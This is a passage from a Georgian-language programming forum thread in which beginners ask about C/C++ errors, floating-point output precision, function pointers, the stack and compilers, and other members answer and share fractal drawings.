ხო მარა ფიჩერებს კარგავ. ენტერფრაიზ გარემოში რო გადახვალ მერეც მაგაზე ხოარ დაწერ. სიშარპისთვისაც გამოგადგება რავი.

Posted by: eterna2000 11 Nov 2018, 15:30
WinApi სთვის რამე წიგნი ხო არ გაქვთ C სთვის ?? გუი ს არ ვგულისხმობ

Posted by: ბიჭური 20 Nov 2018, 19:13
eterna2000

Jeffrey Richter - Windows via C/C++
GUI-ს რაც შეეხება, ყველა წიგნში იქნება ახსნილი მაგის ბეისიქები, მათ შორის ამაშიც.

Posted by: ntquerysysteminformation 24 Nov 2018, 11:50
სი ან სიპიპი ზე რითი აკეთებენ კამერის და მიკროფონის ჩაწერას Opencv არ მაწყობს ნამეტანი დიდი ზომის DLL ები უნდა

Posted by: lursmanilursmani1 30 Nov 2018, 23:06
თუ შეგვიძლია ორი დინამიური მასივისთვის ერთმანეთის მინიჭება, რატო არ შეგვიძლია იგივე სტატიკური მასივისათვის ??

Posted by: Irakli2013 1 Dec 2018, 19:02
რჩევა მჭირდება

ამოცანას ვხსნი კოდფორსზე: http://codeforces.com/problemset/problem/492/B

კოდი დავწერე და ვფიქრობ, რომ ლოგიკა სწორია, მაგრამ ერთ-ერთ ტესტზე მიგდებს ასეთ რაღაცას

CODE
wrong answer 1st numbers differ - expected: '22258199.5000000', found: '22258200.0000000', error = '0.0000000'


ანუ როგორც ჩანს არასაკმარისად ზუსტად სრულდება გამოთვლა. ამოცანის პირობაში წერია რომ სიზუსტე 10^-9-ზე ნაკლები არ უნდა იყოს და როგორ მოვახეხო ეს cpp-ში?

ეს ჩემი კოდი:
CODE

#include <iostream>
#include <algorithm>
#define ll long long
#define ld long double

int main(void){
   ll n;
   ld l;

   std::cin>>n>>l;

   ld arr[n];

   for (int i=0; i<n; i++){
       std::cin>>arr[i];
   }

   std::sort(arr,arr+n);

   ld mx=std::max(arr[0], l-arr[n-1]);


   ld tmp = 0.0;

   for (int i=1; i<n; i++){
       tmp = (arr[i]-arr[i-1])/2;
       if (tmp > mx){
           mx = tmp;
       }
   }


   std::cout<<mx;



}




edit:
პითონში დავწერე და გაატარა spy.gif

Posted by: Dixtosa 1 Dec 2018, 20:23
Irakli2013
გახსენი და სადაც ეგ ტექსტი ნახე იქვეა Output სადაც წერია შენმა პროგრამამ რა გამოიტანა. ეს გამოიტანა შენმა 2.22582e+007.

Posted by: Irakli2013 2 Dec 2018, 14:18
QUOTE (Dixtosa)
2.22582e+007



ანუ წერტილის შემდეგ 7 ციფრი გამოიტანა?

მადლობა

CODE
std::setprecision(9)


ეს დავუმატე გამოტანის წინ და გაატარა

Posted by: ntquerysysteminformation 19 Dec 2018, 23:02
ესეთი პრობლემა მაქ ჩემი პროგრამა იყენებს რაღაც დლლ ფაილებს რომელიც იმავე ფოლდერშია ხოდა როცა რეგედითში სტარტაპის პონტში ვაგდებ მერე რესტარტზე რო რტავს DLL MISSING -ს მიგდებს ანუ იმ ფოლდერს ვეღარ ხედავს სადაც თვითონ არის და როგორ გავასწორო ვერ მეტყვით?

Posted by: RedShark 6 Feb 2019, 23:06

--

Posted by: AnEeEeE=]] 2 May 2019, 15:36
CODE
void vowelStats(string file){
   ifstream input;
   input.open(file);
   int ln = 0;
   while(!input.fail()){
       ln++;
       string line;
       getline(input, line);
       int count = 0;
       int vowels = 0;
       for(int i=0; i<line.length(); i++){
           if( line[i]!=' '){
           count++;
           switch(line[i]){
               case 'a' : case 'e' :case 'u': case 'i': case 'o': case 'A': case 'E': case 'I': case'O': case 'U'  :
                   vowels++;
           }
           }
         
       }
     
      cout<<"Line "+ln+" has "+count+" chars "+"and "+vowels+" vowels"<<endl;
   }


}

cout<<"Line "+ln+" has "+count+" chars "+"and "+vowels+" vowels"<<endl;
ამას რა ჭირს?
ცალცალკე სწორი აპსუხები გამოაქვს და ერთად რო ვწერ რაღაც სისულელეს მიწერს და ვერ ვხვდები რატო user.gif

Posted by: RedShark 2 May 2019, 22:41
AnEeEeE=]]

cout მასე ჯავასავით არ მუშაობს )))

ასე უნდა გააკეთო

CODE

#include <iostream>
using namespace std;

int main() {
   int x, y, z;
   x = 56;
   y = 32;
   z = 44;
   
   cout << "x = " << x << "\ny = " << y << "\nz = " << z << endl;

   return 0;
}


და კიდევ, ფაილს რომ გახსნი და წაიკითხავ, მერე უნდა დახურო აუცილებლად. აქ ნახე https://www.tutorialspoint.com/cplusplus/cpp_files_streams.htm

Posted by: AnEeEeE=]] 3 May 2019, 09:31
RedShark
QUOTE
და კიდევ, ფაილს რომ გახსნი და წაიკითხავ, მერე უნდა დახურო აუცილებლად.

უი ხო დამავიწყდა biggrin.gif

QUOTE
cout << "x = " << x << "\ny = " << y << "\nz = " << z << endl;


მადლობა ერთი ვნახო, იმ წიგნში რასაც ვკითხულობ არიყო გარკვევით ანდაც მე გადავხატი ისე biggrin.gif რაც იგივეებს გავდა იმეებს ვახტებოდი და ეგრევე კოდის წერა დავიწყე user.gif

Posted by: AnEeEeE=]] 11 May 2019, 21:40
CODE
#include <iostream>
#include "console.h"
using namespace std;

int choose(int n, int k);

int main() {
   int num = choose(60,10);
   cout<<num<<endl;

   return 0;
}


int choose(int n, int k) {
   if (( k == 0) || ( n==k)) {
       return 1;
   }else{

       return choose(n-1, k-1)+choose(n-1, k);
       }

}


მოკლედ მარტივი რეკურსიის ფუნქცია მაქვს როგორ შეიძლება შევარჩიოთ ენ იდან კა ვარიანტი, პატარა რიცხვებში მუშაობს დიდ რიცხვს რო ვწერ აი ვთქვათ 60 დან 10 , არაფერს არ მიწერს, უნდა დაველოდო ერთი ნახევარი საათი თუ ეს ქიუტე იდე მაქვს და მაგისი ბრალია რო ვერ ითვლის(ისე პითონშიც მახსოვს დიდხანს უნდებოდა ამეებს user.gif )

Posted by: RedShark 11 May 2019, 22:16
AnEeEeE=]]

იდე არაფერ შუაშია, ეგ ალგორითმი ძალიან დიდ რიცხვებში ადის (რა ალგორითმია ისე? მეცნობა თითქოს...) და პატარა საწყის რიცხვებზეც ნელა უნდება გამოთვლას, 60, 10 - ის შემთხვევაში საერთოდ არ ჰყოფნის ინტ ტიპის ცვლადი (რომელშიც მხოლოდ -2147483648 დან 2147483647 მდე შეგიძლია მოათავსო) და ამიტომ იჭედება.

Posted by: AnEeEeE=]] 11 May 2019, 22:23
RedShark
პასკალის სამკუთხედით კეთდება


QUOTE
რომელშიც მხოლოდ -2147483648 დან 2147483647 მდე შეგიძლია მოათავსო)

აააა, ხო მეც რაღაც მაგდაგვარი ვიფიქრე biggrin.gif

Posted by: AnEeEeE=]] 23 May 2019, 12:33
RedShark
user posted image
აი აქ ხომ ვერ მეტყვი ქონსტ რას ნიშნავს, პირველ და მესამე ფუნქციაში მითითებულ პარამეტრებს შორის რა განსხვავებაა

Posted by: RedShark 23 May 2019, 14:04
AnEeEeE=]]

პირველ შემთხვევაში ვექტორის მოდიფიკაციას ვერ მოახდენ (შეგიძლია სცადო, ერორს ამოგიგდებს) მხოლოდ მონაცემების გამოტანა ან სხვა სახით გამოყენება შეგიძლია, ანუ const ვექტორ-პარამეტრს კონსტანტად აცხადებს და ფუნქციის შიგნით მისი მნიშვნელობების შეცვლა/დამატება აკრძალულია.

მესამე ფუნქციაში შეგიძლია ვექტორის შეცვლა.

Posted by: AnEeEeE=]] 23 May 2019, 14:47
RedShark
აჰა გავიგე მადლობა smile.gif

Posted by: AnEeEeE=]] 6 Jul 2019, 11:55
CODE
void createwordFamily(const string letter, const int  number, const Lexicon & dictionary ) {
   string findLetters(const string letter, const string word);
   HashMap <string,Vector<string>> Map();
   for (string word : dictionary) {
       if (word.length() == number){
          string index = findLetters(letter, word);
          Map[index].add(word);

       }
   }
   int length = 0;
   foreach (string key in Map) {
      int vectorsize = Map[key].size();
      if (vectorsize > length) {
          length = vectorsize;
          Vector<string> wordFamily = Map[key];
         
   }
 cout<<wordFamily<<endl;
}
}

string findLetters(const string letter, const string word) {

   int num = stringIndexOf(letter, word);
   cout<<num<<endl;
   if (num == -1) return integerToString(num);
   return integerToString(num)+findLetters(letter,word.substr(num+1) );


}


Map[index].add(word);

foreach (string key in Map)
ამ ორს რატო მიწითლებს ვერ გამიგია user.gif

Posted by: ntquerysysteminformation 6 Jul 2019, 13:47
გაუშვი დაკომპილირებაზე და ერრორს რასაც დაგიწერს მაგის მიხედვით დასერჩე ან აქ დაწერე

Posted by: AnEeEeE=]] 6 Jul 2019, 15:44
ntquerysysteminformation
error: no match for 'operator[]' (operand types are 'HashMap<std::__cxx11::basic_string<char>, Vector<std::__cxx11::basic_string<char> > >()' and 'std::__cxx11::string {aka std::__cxx11::basic_string<char>}')
Map[index].add(word);
^
error: expected primary-expression before 'key'
foreach (string key in Map) {
^
error: 'foreach' was not declared in this scope
foreach (string key in Map) {
^

ამეებს მიწერს

Posted by: gio_rgi 6 Jul 2019, 21:01
გამოსული შეტოყობინბა თავად გაცნობს რა შეცდომაც გაქვს კოდში.
ეგ foreach ციკლი სტანდარტულ C++-ზე არ არსებობს როგორც ქეივორდი.
როგორც ჩანს Stanford C++ Libraries ბიბლიოთეკას იყენებ და შესაბამისი ჰეადერ foreach.h ფაილი უნდა ჩართო შენს კოდში
იგივე შეიძლება ითქვას პირველ შეცდომაზე Map ობიექტი არის HashMap კლასის ეგზემპლიარი ობიექტი და ამ კლას არ აქვს [] ასეთი ოპერატორი და შენ კი იყენებ და აქედან გამომდინარე შეცდომას გიწერს კიდევაც კომპილერბის დროს

Posted by: AnEeEeE=]] 7 Jul 2019, 09:28
gio_rgi
QUOTE
შესაბამისი ჰეადერ foreach.h ფაილი უნდა ჩართო შენს კოდში

უი მადლობაა

QUOTE
HashMap კლასის ეგზემპლიარი ობიექტი და ამ კლას არ აქვს [] ასეთი ოპერატორი

დოკუმენტაცია აგდებს რომ აქვს და ჩემთან რატო არ მუშაობს sad.gif
* * *
აუ გავაკეთე სინტაქსი დამვიწყებია ქოლექშონების user.gif

Posted by: AnEeEeE=]] 18 Jul 2019, 16:52
user posted image

აი ეს ამიხსენით როგორ მუშაობს user.gif

Posted by: gio_rgi 19 Jul 2019, 07:23
როგორც ჩანს x-y გრსფიკის შესადგენი ფუნქცია რომელიც სინუსოიდას ქმნის x y კორდინატთა სისტემაში. drawLine(sinx0, siny0, sinx1, siny1) ეს ფუნქცია ხატავს როგორც ჩანს ზემოაღნიშნულ სინუსოიდას (drawLine-ს არგუმენტებს სპეციალურას დავარქვი სრული სახელიბი). თუ
double (*fn)(double) არგუმენტია გაურკვეველი ეგ ფუნქცია-არგუმენტია რომელიც თავის მხრივ იღებს არგუმენტად double ტიპის მნიშვნელობას დანარჩენი ასახსენილ მაგ ფუნქციაში არც არის არაფერი უბრალო არითმეტიკული ოპერაციებია გამრავლება, გაყოფა და ასე შემდეგ

Posted by: AnEeEeE=]] 19 Jul 2019, 09:33
gio_rgi
QUOTE
double (*fn)(double) არგუმენტია გაურკვეველი ეგ ფუნქცია

გაურკვეველი არარის ეს არის ფოინთერი რომლის საშუალებითაცნ ფუნქციას იყენებ როგორც მონაცემთა სტრუქტურას , უბრალოდ როგორ მუშაობს ვერ ვხვდები, ვერ წარმოვიდგენ ვიზუალურად sad.gif

Posted by: robox 19 Jul 2019, 10:16
AnEeEeE=]]
იმიტომ ვერ აღიქვავ რო პროგრამირებუს სწავლა პითონით დაიწყე და მერე ჯავით გააგრძელე biggrin.gif
უნდა დაიწყო c -თი და ცოტა ასემბლერიც უნდა მიაშველო,მერე უკვე აღარ გექნება პრობლემა biggrin.gif

რეალურად კი ფუნქციები სხვა არაფერია თუ არა რაღაცა ოპერაციების მიმდევრობა რომელიც რამში იტვირთება პროგრამის გაშვებისას.ყველა ფუნქციას აქვს მისამართი,საიდანაც იწყება უკვე ამ ფუნქციის ტანი,სწორედ ეგ ფუნქციის საწყისი ადგილია ეგ ფუნქციის პოინტერი.
ანუ მარტივად რომ ვთქვათ როცა ფუნქციას იძახებ,ცპუს ეუბნევი რომ აი ამ მისამართზე გადახტი და გააგრძელე კოდის შესრულებაო.


ამას და ასეთ ვიდეოება უყურე და მიხვდები როგორმუშაობს

https://m.youtube.com/watch?v=yOyaJXpAYZQ

Posted by: AnEeEeE=]] 19 Jul 2019, 10:34
robox
ივი რა მაინტერესებს? მანდ ფუნქცია ხო წერია , მე ის არ მესმის მაგ ფუნქციის განსაზღვრება არ უნდა დავწერო ცალკე, მაგ ფუნქციას ფოინთერით რაც არის განსაზღვრული როგორ ითვლის? ამ წიგნში პროსტა არაა ცალკე განსაზღვრული რადგან იგულისხმება რომ უნდა განისაზღვროს თუეგრე უნდა? ეგრე რანაირად გამოთვლის იქსში რა მნიშვნელობა ექნება ფუნქციას ?


QUOTE
უნდა დაიწყო c -თი და ცოტა ასემბლერიც უნდა მიაშველო,მერე უკვე აღარ გექნება პრობლემა

ამ კუსის დამთავრებას თუ მოვახლაფორთებ გადავალ ცეზეც და ანსამბლერზეც, პროსტა ზაფხულში რაღაცა გავზარმაცდი და ნელა მივყვები user.gif

Posted by: robox 19 Jul 2019, 10:59
AnEeEeE=]]
კი,განსაზღვრული უნდა იყოს წინასწარ და როცა გამოიძახებს Plot ფუნქციას,პირველ პარამეტრათ უნდა გადაეცეს მაგ წინასწარ განსაზვრული ფუნქციის პოინტერი.

ამ ფუნქციის ტანში წერია რომ აიღოს პირველი პარამეტრი და ცპუს უთხრას აქ გადახტიო.

თუ ამ ფუნქციის გამოძახება ხდება ,მაშინ ყველა ვარიანტში უნდა გადააწოდო წინასწარ აღწერილი და სწორი პირველი პარამეტრი,სხვა შემთხვევაში უბრალოდ ეწერება და მორჩა,არასდროს შესრულდება ეს ფუნქცია და ცპუც არსად გადახტება biggrin.gif

Posted by: AnEeEeE=]] 19 Jul 2019, 11:44
robox
user posted image

აი ეს ხო ძაან მარტივი პროგრამაა რომელიც ალაგებს სტრინგს თანმიმდევრობით, მარა აქ წერია რო პოინთერით განსაზღვრული ფუნქცია არის ის რაც ქვემოთ არი? ანუ პროგრამა ქვემოთ მოცემულ ფუნქციას გამოიყენებს აქ/? მე მგონია რო არუნდა გამოიყენოს დ და თუ გამოიყენებს რატო ვერ ვხვდები

Posted by: robox 19 Jul 2019, 12:29
ეგ ორი ფუნქცია რაც წერია,არცერთი არცერთს არ იყენებს სანამ შენ არ გამოიძახებ Sort ს და მეორე პარამეტრად არ გადასცემ compareIgnorinCase ფუნქციის პოინტერს.
ანუ ეს წინასწარ განსაზღვრული არ არი რო პარამეტრად მარტო კონკრეტული ფუნქციის პოინტერი გადმომეციო,
რადგან ორი ფუნქცია წერია ,მაგიტომ ვამბობ რომ მეორე ფუნქციის პოინტერი შეიძლება გადაეცემოდეს Sort-ს.
მანდ რო კიდე ეწეროს მესამე ფუნქცია რომელიც int-ს აბრუნებს და ორი string გადაეცემა პარამეტრად,ვერ იტყოდი წინაწარ რომლის პოინტერი გადაეცემა Sort-ს.

ესე დაწერით ცოტა რთულია ამის ახსნა smile.gif

შენ მგონი ზოგადად იმას ვერ ხვდები როდის სრულდება ფუნქცია.
სანამ ფუნქციას საიდანმე არ გამოიძახებ მანამდე ფუნქცია არ სრულდება და ამ ფუნქციის კოდი უბრალოდ წერია რამში.
ანუ ესე თავისით ,პროცესორი ამ ფუნქციების დასაწყისებზე არ გადახტება და არ დაუწყებს შესრულებას,თუ შენ არ უთხარი ანუ შენ თუ არ გამოიძახე.

Posted by: AnEeEeE=]] 19 Jul 2019, 13:37
robox


QUOTE
მანდ რო კიდე ეწეროს მესამე ფუნქცია რომელიც int-ს აბრუნებს და ორი string გადაეცემა პარამეტრად,ვერ იტყოდი წინაწარ რომლის პოინტერი გადაეცემა Sort-ს.

აა ეხლა მივხვდი, ანუ ეს პოინთერი ძაან ზოგადია და გამოძახებისას მოხდება მითითება რომელ ფუნქციას შეესაბამება რომელიც სტრინგებს იღებს და ინთს აბრუნებს, ძაან საკაიფო მექანიზმია. მე უცებ ისე შევხედე ფუნქციაში ფუნქცია რომ არის და ემგონა თავიდანვე დაკონკრეტებული უნდა ყოფილიყო მაგ ფოინთერის ფუნქციის ოპერაციის მნიშვნელობა.

Posted by: NinjaRacer 19 Jul 2019, 23:27
რო არ გაეჰარდკოდებინათ არგუმენტის მისამართს იყენებენ, რომ მერე ფუნქციის შიგნით ამ მისმართს გადასცე სტრინგი.

იგივე გამიკეთებია პითონში ძალიან მარტივად. სტრინგის დალაგების გამო თუ წვალობთ c++ -ში სგ თქვენ.

ჰაი პერფორმანს აპლიკაციებს თუ არ წერ. რა საჭიროა ვერ ვხვდები.

და არაფერი რთული მაგ კოდში არაა. ერთ ენას კარგად რომ ისწავლი სხვებსაც ადვილად გაიგებ.

არგუმენტად კლასიც შეიძლება გადასცე კლასს, ან მეთოდს თავის კლასი გადასცე ან საერთოდ არგუმენტი არ გადასცე. @classmethod, @staticmethod
და არაფერი საოცრება მაგაში არაა biggrin.gif ძაან ზერელედ უყურებთ პითონს smile.gif

ფუქნციას, შეგიძლია ფუნქციაც გადასცე და ვრაპერი დაწერო, ან დეკორატორი, ან ქლოჯური.


სიპიპი საოცრებაა. lol.gif

ამათ გონიათ პითონით რახან დავიწყეთ ფუნქცია არ ვიცით რა არის და სტეკი up.gif gigi.gif

p.s
ნოუდჯიესი და პითონი ბევრად მირჩევნია მაგ საშინელებას givi.gif

Posted by: robox 19 Jul 2019, 23:42
NinjaRacer
კაი ჰო რა გეწყინა biggrin.gif
არ მითქვია პითონი ცუდია მეთქი,მეც პითონზე ვმუშაობ და მომწონს კიდეც.
ცპპ-ს აზრზე არ ვარ

Posted by: NinjaRacer 19 Jul 2019, 23:50
robox
არა ჰო ბაზ არაა.
აი ესეთი რაღაცეები რო იცოდე განა ცუდია.
მეტიც ესეთი რაღაცეები რაღაც ეტაპზე დაგაინტერესებს კიდე. მითუმეტეს როცა მიკროკონტროლერებთან გაქვს შეხება.
პატარა დივაისებთან biggrin.gif


The Stack is an area of memory for keeping temporary data. Stack is used by the CALL instruction to keep the return address for procedures The return RET instruction gets this value from the stack and returns to that offset. The same thing happens when an INT instruction calls an interrupt. It stores in the Stack the flag register, code segment and offset. The IRET instruction is used to return from interrupt call.

The Stack is a Last In First Out (LIFO) memory. Data is placed onto the Stack with a PUSH instruction and removed with a POP instruction. The Stack memory is maintained by two registers: the Stack Pointer (SP) and the Stack Segment (SS) register. When a word of data is PUSHED onto the stack the the High order 8-bit Byte is placed in location SP-1 and the Low 8-bit Byte is placed in location SP-2. The SP is then decremented by 2. The SP addds to the (SS x 10H) register, to form the physical stack memory address. The reverse sequence occurs when data is POPPED from the Stack. When a word of data is POPPED from the stack the the High order 8-bit Byte is obtained in location SP-1 and the Low 8-bit Byte is obtained in location SP-2. The SP is then incremented by 2.

მარა პიზდეც რთულ კოდს განახებ პითონის მაგალითად რომელი ფრეიმვორკის სორს კოდს biggrin.gif მარტო ჰელოუ ვორლდს კი არ ვპირნტავთ.

* * *
არ შეიძლება
C/C++

წერდე და ესენი არ გესმოდეს.



იდეაც და მუღამიც მაგაშია. ლოულეველზე გაერკვე.
თუარადა როგორც ზემოთ ვთქვი პითონში და ნოუდში წერო უნდა. რაც არანაირად არაა ცუდი.
* * *
ანეეს
ლექცია თუ არ დაუდე ისე მაინც არ დაგიჯერებს ჰა
https://www.youtube.com/watch?v=Rxvv9krECNw
* * *
რეფერენსი ანუ პოინტერი კარგად ახსნა.

toilet sign.

toilet sign is not the toilet.


თუ გაქვს &myarr ამ მისამართზე რამე მასივი შენახული.

შეგიძლია ამ პოინტერს გადაურო იტერაციით და &myarr + 1 შემდეგ ელემენტს დაგიპრინტავს.

აღარ მახსოვს მარა მემგონი სიში სტრინგი შედგება ზუსტად მასივებისგან და ბოლოში ან ნალი აქვს ან ცარიელია და ამით ხვდება რომ ბოლომდე წაიკითხა... სტრინგი დატაპი არ არსებობს როგორც ასეთი.
malloc-ის მერე გიწევს free()-ს გაშვება. მოკლედ გარბიჯ ქოლეშენს ხელით აკეთებ. ჰოდა ამდენს რომ ჩალიჩობ მიზეზიც ხომ გინდა.
მიზეზია სწრაფი კოდი, ცოტა მეხსიერებას იკავებდეს და ზომაშიც პატარა იყოს.

ალგორითმების წერა კიდე ყველა ენაში რთულია.

მოკლედ & და * lets you mess around with other stack frames ესაა მთელი მუღამი.
საიდ ეფექტებიანი ფუნქციის დაწერა შეგძლია სადაც ფუნქცია void-ია, არაფრის დაბრუნება არ ჭირდება
პირდაპირ & მისამართებს იღებს და ამ მისმართების *ვალიეუბს აწერს რასაც უნდა.
* * *
აი რატომ* არის მნიშვნელოვანი stack-ის ცოდნა. 3 წუთიდან.
ძალიან მნიშვნელოვანია იმის ცოდნა სტაკი როგორ მუშაობს და რომ არის LIFO დატატიპი.

Posted by: ბიჭური 20 Jul 2019, 18:08
რაშიც არ უნდა წერდე, თავს პროგრამისტს თუ უწოდებ, სტეკი და დინამიური მეხსიერება რით განსხვავდება, უნდა იცოდე.
და კიდევ ბევრი სხვა რამ (ნაკადები, სინქრონიზაციის პრიმიტივები და ა.შ და ა.შ)

სამწუხაროდ დღეს პროფესია პროგრამისტი მოდაშია და ამიტომ ბევრი დილეტანტი უწოდებს თავს პროგრამისტს (ჯავასკრიპტ სამყაროდან მაგალითად) და აზრზე არ არიან საბაზო პრინციპების რაც ყველა ენისთვის და პლატფორმისთვის საერთოა და ყველამ უნდა იცოდეს

Posted by: NinjaRacer 20 Jul 2019, 20:28
ბიჭური
ვიდეო შემეშალა აგერ 7 წუთიდან ხნის რატო არ უნდა დააბრუნო გამოძახებული ფუნქციიდან პოინტერი.
https://www.youtube.com/watch?v=E8Yh4dw6Diw&list=PL2_aWCzGMAwLZp6LMUKI3cc7pgGsasm2_&index=14

მართლა ძაან მნიშვნელოვანი ამბავია ეგ. ვერაფრით ვიფიქრებდი რომ მოიქცეოდა.

ვერი სიმპლ helloworld ფუნქციაო რომ იძახის აი მაგ მომენტიდან up.gif აი მანდ ვერ გამოვიცანი რას იზამდა. ვერ წარმოვიდგენდი რომ სტაკი გადააწერდა წინა მნიშვნელობას რამეს.

იმაზეც ბაზრობს რა შემთხვევაში შეიძლება ზემოდან ქვემოთ პოინტერის ჩამოტანა. მოკლედ ჯიგარი ვიდეოა.

რაც შეეხება პროგრამისტობის მოდას. ზოგადად კარგია რომ მოდაშია პროგრამისტობა. ჩემს ბავშვობაში 'ზანგობა' იყო მოდაში. 2ფაქი. ბაბოჩკა. კაი ბიჭობა და ა.შ პროგრამირება რომ მოდაშია მაგაში ცუდს ვერაფერს ვხედავ.

წინა სამსახურებში ძალიან გამოცდილი პროგრამისტებიც იყვნენ და როცა ასამბლისთან მოუწიათ მუშაობა ჭკუაზე არ იყვნენ ისე უხაროდათ რომ გაიგეს ლოულეველზე რახდება და თუ მართლა სერიოზული პროგრამისტი ხარ მაშინ შენთვითონაც დაგაინტერესებს.

მე პირადად, პითონი და რაღაც ფრეიმვორკების გარჩევა და რაღაც პონტში გამოყენებაც და მაგაზე მუშაობაც კი მომიწია, გამომადგა. რადგან ის ტულები რომელსაც ვიყენებ დაწერილია პითონში. რო დამჭირდება ადვილად დავწერ მოდულებს მეც. ისიც იმდენად მარტივია მაქსიმუმ რამოდენიმე ხაზი 100 (სიტყვაზე) დავამატო. შესაბამისად თავი პროგრამისტად არასდროს ჩამითვლია და არც ვაპირებ ჩათვლას. მაგრამ ძალიან მომწონს იმას რასაც ვაკეთებ მაგასაც კი ჭირდება ტვინის დაძაბვა თანაც მუდმივად. ფიქრი ჭირდება და კიდევ ბევრი რამ. ამიტომ ეგ რო მოგწონს უკვე კაია.
* * *
იმ დღეს ჩემს უფროსს წამოცდა სიში იგივეს მაგრა საკაიფოდ ვიზამდითო. მიკროკონტროლეზე მაგრამ დრო არ გვაქვსო.

მერე არდუინოზეც შემხვდა რაღაც კოდი უნდა გამეტესტა და სტრინგი ვერ დავპრინტე პირველ ჯერზე,მეთქი სი რო ვიცოდე ეხლა რა ადვილად დავწერდი ამასთქო. მერე გადავაკეთე დავაკომპილირე და დაწერა biggrin.gif არც დამიგუგლია. ოღონდ რატო და როგორ იმუშავა მეც არ ვიცი.

ჰოდა ეს ორი რაღაც საკმარისია რომ გადავვარდე ეხლა და სიში გადავწერო ყველაფერი. იმედია არ მეტყვის თავი ხოარაფერს მიარტყიო.

პირველი პროექტია და ექსპერიმენტები არ გვინდა, მაგრამ მიკროკონტროლერზე და სიზე იქნება ბევრად სტაბილური. ახლა ცოტათი რთულია, რამოდენიმე ენაში დაწერილი. ლინუქსშიც ნაჰაკერები გვაქვს რაღაცეები, ბევრი ვორქერაუნდი და მაინც არაა 100% სტაბილური. ნუ შეიძლება არის კიდეც არ დაგვცალდა უბრალოდ.

რაც უფრო ახლოს იქნება ჰართდან მითუფრო სტაბილური იქნება ნებისმიერი სისტემა მე მგონი.

მაგრამ ეს წავიკითხე და სურვილი გამიქრო..
https://arduino.stackexchange.com/questions/816/c-vs-the-arduino-language

Posted by: Svani91 21 Jul 2019, 06:41
QUOTE
აღარ მახსოვს მარა მემგონი სიში სტრინგი შედგება ზუსტად მასივებისგან და ბოლოში ან ნალი აქვს ან ცარიელია და ამით ხვდება რომ ბოლომდე წაიკითხა


NUL yes.gif
0x00

პს

ამ ჯავასკრიპტ დეველოპერებს რატო გვეღადავებით ბრატცი, ეგრე მოიტანა ცხოვრებამ, გვაცალეთ biggrin.gif


Posted by: AnEeEeE=]] 28 Aug 2019, 19:43
user posted image

აი მე რა დავხატე biggrin.gif

Posted by: RedShark 28 Aug 2019, 19:55
QUOTE (AnEeEeE=]] @ 28 Aug 2019, 19:43 )
user posted image

აი მე რა დავხატე biggrin.gif

ყაჩაღ up.gif

რა ბიბლიოთეკაა ეგ?


პ.ს. აი მე კიდე რა დავხატე

user posted image

» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «


Posted by: AnEeEeE=]] 28 Aug 2019, 20:26
RedShark
QUOTE
რა ბიბლიოთეკაა ეგ?

სტენფორდის ბიბლიოთეკით ვაკეთებ ყველაფერს;

ეხლა უნდა გავაკეთო Mandelbrot Set , იმედია გამომივა, ერთი შეხედვით ძაან მერთულება biggrin.gif

QUOTE
პითონით ოღონდ 

რამნიშვნელობა აქვს რითია, ძაან მაგარია;


Posted by: RedShark 28 Aug 2019, 21:06
AnEeEeE=]]
QUOTE
ეხლა უნდა გავაკეთო Mandelbrot Set , იმედია გამომივა, ერთი შეხედვით ძაან მერთულება

მაგალითებს გადახედე, მთლიანად ნოლიდან არ იჭყლიტო ტვინი biggrin.gif

ისე კაი ლამაზი ფრაქტალური სტრუქტურები გამოდის chups.gif

Posted by: AnEeEeE=]] 28 Aug 2019, 21:39
QUOTE
მაგალითებს გადახედე, მთლიანად ნოლიდან არ იჭყლიტო ტვინი 

მითითებები მაქვს რაღაცეები, სულ ნულიდან ვერც დავწერ biggrin.gif

Posted by: დოჩანა 31 Aug 2019, 00:32
გამარჯობათ
ახალი ვარ
ეხლა დავიწყე ამ პროგრამირების ენის თვითმასწავლებელი წიგნის კითხვა
ვერ ვწერ ჰელოუ ვორლდის პროგრამას
ამ ერორს მიგდებს
main.cpp: In functi0n ‘int main()’:
main.cpp:13:13: error: expected primary-expression before ‘:’ token
std : :cout << "Hello World! \n" ;

და ხომ ვერ მეტყვით რა უნდა?

Posted by: RedShark 31 Aug 2019, 00:57
დოჩანა

რაღაცას არ აკეთებ სწორად. მთლიანად დადე კოდი აბა.

Posted by: დოჩანა 31 Aug 2019, 11:33
RedShark
ჰო მართალია გავასწორე უკვე მადლობა
ისე კარგი კომპილერი სად ვნახო ნეტში ხომ ვერ მეტყვით?

Posted by: RedShark 31 Aug 2019, 12:26
QUOTE (დოჩანა)
ისე კარგი კომპილერი სად ვნახო ნეტში ხომ ვერ მეტყვით?

რამდენიმე ვარიანტია. ერთი მაგალითად ეს:



http://www.mingw.org/

ამისთვის იდე-ს დაყენება ცალკე მოგიწევს, მაგ. ამის https://codelite.org/

მეორე ეს:


Posted by: დოჩანა 31 Aug 2019, 13:28
RedShark
დიდი მადლობა
მაგრამ ონლაინ კომპილერის ვარიანტი მაწყობს უფრო
არის ეგეთი?

Posted by: RedShark 31 Aug 2019, 13:32
QUOTE (დოჩანა)
დიდი მადლობა
მაგრამ ონლაინ კომპილერის ვარიანტი მაწყობს უფრო
არის ეგეთი?

რავი მოძებნე, იქნება რაღაცეები, მაგრამ c++ ის ონლაინ კომპილერით სწავლა არ ღირს.

Posted by: დოჩანა 31 Aug 2019, 13:55
RedShark
გასაგებია
და შენ რაც დამიდე ეგ ვინდოუს 7-ზე დაინსტალირდება თუ მხოლოდ 10-ისთვისაა?

Posted by: RedShark 31 Aug 2019, 14:09
დოჩანა

პირველი ვარიანტი დაინსტალდება ჩვეულებრივ. მეორე არ ვიცი, არ მიცდია.

Posted by: NinjaRacer 31 Aug 2019, 14:09
დოჩანა
QUOTE
და შენ რაც დამიდე ეგ ვინდოუს 7-ზე დაინსტალირდება თუ მხოლოდ 10-ისთვისაა?

დააყენდება მარა გააჯმეინე 7 და 10 დააყენე ან 8 და გვერძე ლინუქსი მიუყენე და ყველა ეგეთი შეკითხვა რაც
დამიჯერე დღეში 100000 გექნება გუგლს დაუსვი.

Posted by: AnEeEeE=]] 31 Aug 2019, 20:24
user posted image

user posted image

აუ რა მაგარი გამოვიდა chups.gif bis.gif

Posted by: RedShark 1 Sep 2019, 02:34
QUOTE (AnEeEeE=]] @ 31 Aug 2019, 20:24 )
user posted image

user posted image

აუ რა მაგარი გამოვიდა chups.gif bis.gif

მშვენიერია up.gif

ამ გვერდს გადახედე https://www.skytopia.com/project/fractal/2mandelbulb.html

Posted by: დოჩანა 2 Sep 2019, 22:22
NinjaRacer
QUOTE
